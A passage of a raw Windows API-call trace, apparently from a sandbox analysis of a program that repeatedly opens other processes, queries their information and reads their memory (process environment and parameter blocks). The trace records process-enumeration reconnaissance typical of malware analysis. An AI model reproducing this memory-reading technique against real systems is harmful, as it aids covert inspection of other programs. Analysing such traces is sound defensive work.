lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0193.033] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0193.034] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0193.034] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x309020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0193.034] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x581c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0193.034] malloc (_Size=0x84) returned 0xe87c10 [0193.034] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5822d4, lpBuffer=0xe87c10, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87c10*, lpNumberOfBytesRead=0x0) returned 1 [0193.035] free (_Block=0xe87c10) [0193.035] CloseHandle (hObject=0x414) returned 1 [0193.036] _ui64tow_s (in: _Value=0x16fc, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5884") returned 0x0 [0193.036] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5884") returned 4 [0193.036] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0193.036] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0193.037] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16fc) returned 0x414 [0193.037] GetLastError () returned 0x0 [0193.037] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0193.037] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x243018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0193.037] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0193.037] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4d2650, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0193.037] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4d2258, lpBuffer=0x104c5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0193.038] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0193.038] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0193.038] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x243020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0193.038] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4d1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0193.038] malloc (_Size=0x70) returned 0xea9720 [0193.038] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4d22c0, lpBuffer=0xea9720, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9720*, lpNumberOfBytesRead=0x0) returned 1 [0193.039] free (_Block=0xea9720) [0193.039] CloseHandle (hObject=0x414) returned 1 [0193.039] _ui64tow_s (in: _Value=0x1718, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5912") returned 0x0 [0193.040] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5912") returned 4 [0193.040] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0193.040] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0193.041] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1718) returned 0x414 [0193.041] GetLastError () returned 0x0 [0193.041] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0193.041] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x269018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0193.041] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0193.041] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x522640, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0193.041] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x522258, lpBuffer=0x104c5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0193.042] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0193.042] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0193.042] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x269020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0193.042] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x521c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0193.042] malloc (_Size=0x68) returned 0xeb6070 [0193.042] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5222b8, lpBuffer=0xeb6070, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6070*, lpNumberOfBytesRead=0x0) returned 1 [0193.043] free (_Block=0xeb6070) [0193.043] CloseHandle (hObject=0x414) returned 1 [0193.043] _ui64tow_s (in: _Value=0xc68, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3176") returned 0x0 [0193.044] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="3176") returned 4 [0193.044] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0193.044] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0193.045] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc68) returned 0x414 [0193.045] GetLastError () returned 0x0 [0193.045] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0193.045] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x297018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0193.045] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0193.046] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x552510, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0193.046] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x552198, lpBuffer=0x104c5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0193.046] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0193.046] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0193.046] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x297020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0193.046] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x551b50, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0193.047] malloc (_Size=0x5a) returned 0xeb6070 [0193.047] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5521d8, lpBuffer=0xeb6070, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6070*, lpNumberOfBytesRead=0x0) returned 1 [0193.048] free (_Block=0xeb6070) [0193.048] CloseHandle (hObject=0x414) returned 1 [0193.048] _ui64tow_s (in: _Value=0x1260, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4704") returned 0x0 [0193.048] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4704") returned 4 [0193.048] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0193.048] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0193.049] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1260) returned 0x414 [0193.049] GetLastError () returned 0x0 [0193.049] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0193.049] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3c7018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0193.050] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0193.050] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403df0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0193.050] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403a38, lpBuffer=0x104c5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0193.050] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0193.050] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0193.050] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3c7020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0193.051] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4033f0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0193.051] malloc (_Size=0x64) returned 0xeb6150 [0193.051] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403a84, lpBuffer=0xeb6150, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6150*, lpNumberOfBytesRead=0x0) returned 1 [0193.052] free (_Block=0xeb6150) [0193.052] CloseHandle (hObject=0x414) returned 1 [0193.052] _ui64tow_s (in: _Value=0xc6c, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3180") returned 0x0 [0193.052] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="3180") returned 4 [0193.052] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0193.053] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0193.053] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc6c) returned 0x414 [0193.053] GetLastError () returned 0x0 [0193.054] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0193.054] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3e0018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0193.054] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0193.054] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4a2470, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0193.054] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4a2118, lpBuffer=0x104c5a0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0193.054] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0193.054] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0193.054] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3e0020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0193.055] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4a1ad0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0193.055] malloc (_Size=0x2c) returned 0xe71fb0 [0193.055] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4a215c, lpBuffer=0xe71fb0, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe71fb0*, lpNumberOfBytesRead=0x0) returned 1 [0193.056] free (_Block=0xe71fb0) [0193.056] CloseHandle (hObject=0x414) returned 1 [0193.056] _ui64tow_s (in: _Value=0x11a8, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4520") returned 0x0 [0193.056] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4520") returned 4 [0193.056] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0193.056] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0193.057] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11a8) returned 0x414 [0193.057] GetLastError () returned 0x0 [0193.057] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0193.057] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2c3018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0193.057] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0193.058] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4c2620, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0193.058] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4c2228, lpBuffer=0x104c5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0193.058] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0193.058] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0193.058] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2c3020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0193.058] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4c1be0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0193.059] malloc (_Size=0x6a) returned 0xea94a0 [0193.059] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4c2290, lpBuffer=0xea94a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea94a0*, lpNumberOfBytesRead=0x0) returned 1 [0193.060] free (_Block=0xea94a0) [0193.060] CloseHandle (hObject=0x414) returned 1 [0193.060] _ui64tow_s (in: _Value=0x1034, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4148") returned 0x0 [0193.061] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4148") returned 4 [0193.061] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0193.061] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0193.062] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1034) returned 0x414 [0193.062] GetLastError () returned 0x0 [0193.062] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0193.062] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3ff018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0193.062] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0193.062] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5b2620, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0193.062] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5b2228, lpBuffer=0x104c5a0, nSize=0x54, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0193.063] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0193.063] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0193.063] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3ff020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0193.063] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5b1be0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0193.063] malloc (_Size=0x8c) returned 0xec77a0 [0193.063] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5b227c, lpBuffer=0xec77a0, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec77a0*, lpNumberOfBytesRead=0x0) returned 1 [0193.064] free (_Block=0xec77a0) [0193.064] CloseHandle (hObject=0x414) returned 1 [0193.064] _ui64tow_s (in: _Value=0x1698, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5784") returned 0x0 [0193.065] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5784") returned 4 [0193.065] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0193.065] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0193.066] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1698) returned 0x414 [0193.066] GetLastError () returned 0x0 [0193.066] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0193.066] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x348018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0193.066] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0193.066] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1025e0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0193.066] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x102228, lpBuffer=0x104c5a0, nSize=0x4e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0193.066] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0193.067] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0193.067] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x348020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 